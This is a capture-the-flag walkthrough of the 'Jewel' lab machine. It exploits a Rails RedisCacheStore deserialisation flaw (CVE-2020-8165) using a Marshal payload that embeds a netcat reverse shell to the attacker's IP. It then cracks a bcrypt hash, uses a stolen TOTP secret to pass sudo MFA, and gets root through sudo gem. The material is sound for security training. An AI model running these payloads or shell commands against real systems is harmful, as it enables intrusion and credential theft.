
Jewel was a fun 30 point box created by polarbearer which involved exploiting a deserialisation vulnerability in the way the ruby application handles specific user objects, with an interesting swist on sudo relating to Google Authenticator, and finally a sudo Gem
binary to get root.
User.txt
Nmap
A quick nmap full port scan reveals the following services:
1
2
3
4
5
6
# nmap -sT --min-rate 3000 10.10.10.211 -p-
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
8080/tcp open http-proxy
Detailed service scan returns:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# nmap -sC -sV -p 80,8000,8080
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
The service running on 8000
is a GitWeb
instance with some details regarding the BL0G!
running on the other port:

Clicking on the project and then the commitdiff
shows as the difference in recent commits. We can see the following update to the Gemfile
:

This discloses some useful information to us regarding the software in use on the blog. We now know it is utilising ruby
version 2.5.5
and rails 5.2.2.1
. Googling for exploits relating to these specific versions returns some interesting results, the following PoC being one of them.
The GitWeb instance also allows you to browse through the application source code, specifically the app/controllers/users_controller.rb
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
1 class UsersController < ApplicationController
2 before_action :require_user, only: [:update]
3
4 # def index
5 # @users = User.paginate(page: params[:page], per_page: 3)
6 # end
7
8 def show
9 @user = User.find(params[:id])
10 @current_user = current_user
11 @user_articles = @user.articles.paginate(page: params[:page], per_page: 333333333)
12 end
13
14 def new
15 @user = User.new
16 end
17
18 def edit
19 @user = User.find(params[:id])
20 end
21
22 def create
23 @user = User.new(user_params)
24 if @user.save
25 flash[:success] = "User successfully registered: #{@user.username}"
26 redirect_to articles_path
27 else
28 render 'new'
29 end
30 end
31
32 def update
33 @user = User.find(params[:id])
34 if @user && @user == current_user
35 cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
36 cache.delete("username_#{session[:user_id]}")
37 @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
38 if @user.update(user_params)
39 flash[:success] = "Your account was updated successfully"
40 redirect_to articles_path
41 else
42 cache.delete("username_#{session[:user_id]}")
43 render 'edit'
44 end
45 else
46 flash[:danger] = "Not authorized"
47 redirect_to articles_path
48 end
49 end
50
51 private
52 def user_params
53 params.require(:user).permit(:username, :email, :password)
54 end
55 end
Googling RedisCacheStore exploit
will lead you to CVE-2020-8165
, which is what the PoC from GitHub is for.
Another file that caught my eye was the PostgreSQL database dump bd.sql
which contained some hashes for the users bill
and jennifer
.

I could not crack the hashes so decided to check out the blog running on port 8080
.
BL0G!
You’re greeted with a standard blog home page, there’s a sign up form so let’s create a user:

After signing in there’s a profile page where we’re able to update the current username:

Capturing the request in burp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /users/20 HTTP/1.1
Host: 10.10.10.211:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.211:8080/users/20/edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 185
Origin: http://10.10.10.211:8080
Connection: close
Cookie: _session_id=811cb6b2592946fe2df31524160f7336
Upgrade-Insecure-Requests: 1
utf8=â&_method=patch&authenticity_token=CfVF1dqXI29vpHqToHWtu1wKQ/QLSGDVwiATUXs6aF6H8SGOwOkI1v3EAcX2XVvz2MbJxSrRULHX67yqtYbnvA==&user[username]=test&commit=Update User
Update User RCE
There’s a deserialisation vulnerability in the user[username]
parameter of the update user function. More information can be found on this PoC from GitHub. Entering the PoC payload into the field returns a 500 Internal Server Error
which can be sign we’re on the right track (but not always).
Starting an interactive ruby console in msfconsole
, I ran the commands from the PoC with a netcat reverse shell used for the payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
msf6 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
irb: warn: can't alias jobs from irb_jobs.
>> code = '`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.34 443 >/tmp/f`'
=> "`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.34 443 >/tmp/f`"
>> erb = ERB.allocate
=> #<ERB:0x00007f5f29b05150>
>> erb.instance_variable_set :@src, code
=> "`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.34 443 >/tmp/f`"
>> erb.instance_variable_set :@filename, "1"
=> "1"
>> erb.instance_variable_set :@lineno, 1
=> 1
>> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
=> "\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\b:\t@src\"T`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.34 443 >/tmp/f`:\x0E@fil...
>> puts "Payload"
Payload
=> nil
>> require 'uri'
=> false
>> puts URI.encode_www_form(payload: payload)
payload=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40src%22T%60rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+10.10.15.34+443+%3E%2Ftmp%2Ff%60%3A%0E%40filename%22%061%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3A%06ET%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%0ET
After intercepting the update user request and sending the serialised object in the user[username]
field you’ll receive a reverse shell on your given port:
1
2
3
4
5
6
7
8
# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.15.34] from (UNKNOWN) [10.10.10.211] 34296
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bill@jewel:~/blog$
It is interesting to know that once the value is update and the payload injected, whenever you sign in again (with the same user) the payload will be executed. I’ve added a section at the bottom of this post looking into how the payload is stored.
Flag
With a shell as bill
you can get the user flag:
1
2
bill@jewel:~$ wc user.txt
1 1 33 user.txt
We can also see that the initial rce
file was created in /tmp
from our first PoC attempt:
1
2
3
4
5
6
7
8
9
10
bill@jewel:/tmp$ ls -la
ls -la
total 48
drwxrwxrwt 12 root root 4096 Feb 13 11:21 .
drwxr-xr-x 18 root root 4096 Aug 26 09:27 ..
prw-r--r-- 1 bill bill 0 Feb 13 10:49 f
drwxrwxrwt 2 root root 4096 Feb 13 03:13 .font-unix
drwxrwxrwt 2 root root 4096 Feb 13 03:13 .ICE-unix
drwxr-xr-x 5 root root 4096 Feb 13 11:13 passenger.xLzz6Ot
-rw-r--r-- 1 bill bill 0 Feb 13 10:42 rce *
Root.txt
Hash Cracking
Looking around the file system you’ll notice a dump_2020-08-27.sql
file in the /var/backups
directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
bill@jewel:/var/backups$ ls -la
ls -la
total 2468
drwxr-xr-x 2 root root 4096 Feb 13 03:18 .
drwxr-xr-x 12 root root 4096 Aug 27 10:48 ..
-rw-r--r-- 1 root root 81920 Aug 26 11:39 alternatives.tar.0
-rw-r--r-- 1 root root 51600 Sep 17 14:15 apt.extended_states.0
-rw-r--r-- 1 root root 5415 Aug 28 06:49 apt.extended_states.1.gz
-rw-r--r-- 1 root root 5363 Aug 27 10:48 apt.extended_states.2.gz
-rw-r--r-- 1 root root 252 Aug 26 09:42 dpkg.diversions.0
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.2.gz
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.3.gz
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.4.gz
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.5.gz
-rw-r--r-- 1 root root 156 Aug 26 09:42 dpkg.diversions.6.gz
-rw-r--r-- 1 root root 173 Aug 26 10:32 dpkg.statoverride.0
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.3.gz
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.4.gz
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.5.gz
-rw-r--r-- 1 root root 158 Aug 26 10:32 dpkg.statoverride.6.gz
-rw-r--r-- 1 root root 910140 Feb 8 12:07 dpkg.status.0
-rw-r--r-- 1 root root 227505 Sep 18 07:14 dpkg.status.1.gz
-rw-r--r-- 1 root root 227505 Sep 18 07:14 dpkg.status.2.gz
-rw-r--r-- 1 root root 227505 Sep 18 07:14 dpkg.status.3.gz
-rw-r--r-- 1 root root 227505 Sep 18 07:14 dpkg.status.4.gz
-rw-r--r-- 1 root root 226834 Sep 17 14:15 dpkg.status.5.gz
-rw-r--r-- 1 root root 222736 Aug 28 06:49 dpkg.status.6.gz
-rw-r--r-- 1 root root 7828 Aug 27 10:19 dump_2020-08-27.sql *
-rw------- 1 root root 763 Aug 27 10:39 group.bak
-rw------- 1 root shadow 637 Aug 27 10:39 gshadow.bak
-rw------- 1 root root 1670 Aug 26 10:32 passwd.bak
-rw------- 1 root shadow 1059 Aug 28 11:07 shadow.bak
Checking the contents you can see that it is a similar PostgresSQL database dump like the file on the GitWeb instance, however the hashes are different:
1
2
3
4
5
6
7
8
--
-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: rails_dev
--
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
\.
Throwing the hash into John we get a result:
1
2
3
4
5
6
7
# john hash --wordlist=/root/wordLists/SecLists/Passwords/Leaked-Databases/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob (?)
Bill’s password is spongebob
.
Google Authenticator
Running sudo -l
we get a interesting response with a Verification code:
prompt displayed in the output:
1
2
3
4
5
bill@jewel:~$ sudo -l
sudo -l
[sudo] password for bill: spongebob
Verification code:
Running ls -la
reveals a .google_authenticator
file within Bill’s home directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bill@jewel:~$ ls -la
ls -la
total 52
drwxr-xr-x 6 bill bill 4096 Sep 17 14:10 .
drwxr-xr-x 3 root root 4096 Aug 26 09:32 ..
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .bash_history -> /dev/null
-rw-r--r-- 1 bill bill 220 Aug 26 09:32 .bash_logout
-rw-r--r-- 1 bill bill 3526 Aug 26 09:32 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog
drwxr-xr-x 3 bill bill 4096 Aug 26 10:33 .gem
-rw-r--r-- 1 bill bill 43 Aug 27 10:53 .gitconfig
drwx------ 3 bill bill 4096 Aug 27 05:58 .gnupg
-r-------- 1 bill bill 56 Aug 28 07:00 .google_authenticator
drwxr-xr-x 3 bill bill 4096 Aug 27 10:54 .local
-rw-r--r-- 1 bill bill 807 Aug 26 09:32 .profile
lrwxrwxrwx 1 bill bill 9 Aug 27 11:26 .rediscli_history -> /dev/null
-r-------- 1 bill bill 33 Feb 13 03:14 user.txt
-rw-r--r-- 1 bill bill 116 Aug 26 10:43 .yarnrc
Google Authenticator is used for MFA and provides time-based OTPs. There is a FireFox addon we can use to set this up on our attacking host:
1
2
3
4
5
bill@jewel:~$ cat .google_authenticator
cat .google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH
Add the long string (secret) into the Authenticator add-on and you’re good to go. Once imported it will show a OTP:

Run sudo -l
and enter the current OTP:
1
2
3
4
5
6
7
8
bill@jewel:~$ sudo -l
[sudo] password for bill: spongebob
Verification code: 984381
Matching Defaults entries for bill on jewel:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults
User bill may run the following commands on jewel:
(ALL : ALL) /usr/bin/gem
NOTE you may get an error here, the time/date on the box has to be synchronised with your attacking host. The error can be seen below:
1
Error "Operation not permitted" while writing config
Time Sync
Running timedatectl
displays the current time, date, and timezone:
1
2
3
4
5
6
7
8
9
bill@jewel:~$ timedatectl
timedatectl
Local time: Sat 2021-02-13 11:18:35 GMT
Universal time: Sat 2021-02-13 11:18:35 UTC
RTC time: Sat 2021-02-13 11:18:35
Time zone: Europe/London (GMT, +0000)
System clock synchronized: no
NTP service: active
RTC in local TZ: no
Ensure it matches your attacking host by changes your box’s time accordingly:
1
# timedatectl set-timezone "Europe/London"
Then run date
and check it matches your attacking host:
1
2
3
bill@jewel:/tmp$ date
date
Sat 13 Feb 11:24:59 GMT 2021
Set your date accordingly:
1
2
# date --set="13 Feb 2021 11:24:59 GMT"
Sat 13 Feb 2021 11:24:59 AM GMT
Now run sudo -l
, enter the password and verification code and you should be good to go.
Sudo Gem
The Gem section of GTFOBins shows us what to do to get root. Enter the following command and you’ll pop a root shell:
1
2
3
4
5
bill@jewel:~$ sudo /usr/bin/gem open -e "/bin/sh -c /bin/sh" rdoc
sudo /usr/bin/gem open -e "/bin/sh -c /bin/sh" rdoc
# id
id
uid=0(root) gid=0(root) groups=0(root)
Flag
With a root shell you can get the flag:
1
2
3
# wc /root/root.txt
wc /root/root.txt
1 1 33 /root/root.txt
Stored Serialised User
I noticed that after updating the username to the serialised payload and getting a shell, if you kill that shell and then login again you’ll receive another shell.
The payload appears to be stored and applied to the session upon logging in, I was interested in what was happening behind the scenes so decided to check through the application files on the host.
Details on CVE-2020-8165 provided by rapid7:
A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.
After signing up and and creating a user we can update the username, this can be seen in the update section of users_controller.rb
. It first deletes our original user_id and then updates it with the new value:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def update
@user = User.find(params[:id])
if @user && @user == current_user
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
cache.delete("username_#{session[:user_id]}")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
if @user.update(user_params)
flash[:success] = "Your account was updated successfully"
redirect_to articles_path
else
cache.delete("username_#{session[:user_id]}")
render 'edit'
end
else
flash[:danger] = "Not authorized"
redirect_to articles_path
end
end
Upon updating it appears our session is updated and our new user object is called, which executes our serialised payload sending us a shell.
The user object is stored in redis, as we’re already logged in it appears that the application_controller.rb
script then fetches our new malicious user_id
, applies it to the session which calls the payload. The current_user
and current_username
functions stand out here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
helper_method :current_user, :logged_in?, :current_username, :current_userid, :can_write?
def current_user
@current_user ||= User.find(session[:user_id]) if session[:user_id] and User.exists?(session[:user_id])
end
def logged_in?
!!current_user
end
def can_write?
if logged_in?
@current_user = current_user
return @current_user.can_write
else
return false
end
end
def require_user
if !logged_in?
flash[:danger] = "You must be logged in to perform this action"
redirect_to login_path
end
end
def current_username
if session[:user_id]
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
@current_user = current_user
@current_username = @current_user.username
end
else
@current_username = "guest"
end
return @current_username
end
def current_userid
return session[:user_id] if session[:user_id]
end
end
So by logging in again with our username updated with our serialised object, the object is called as it is tied to the email we signed up with. This can be seen in the create
function of sessions_controller.rb
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class SessionsController < ApplicationController
def new
end
def create
user = User.find_by(email: params[:session][:email].downcase)
if user && user.authenticate(params[:session][:password])
session[:user_id] = user.id
flash[:success] = "You have successfully logged in"
redirect_to root_path
else
flash.now[:danger] = "Login failed"
render 'new'
end
end
def destroy
session[:user_id] = nil
flash[:success] = "You have successfully logged out"
redirect_to root_path
end
end
All in all this was a fun little box with a pretty neat initial attack vector.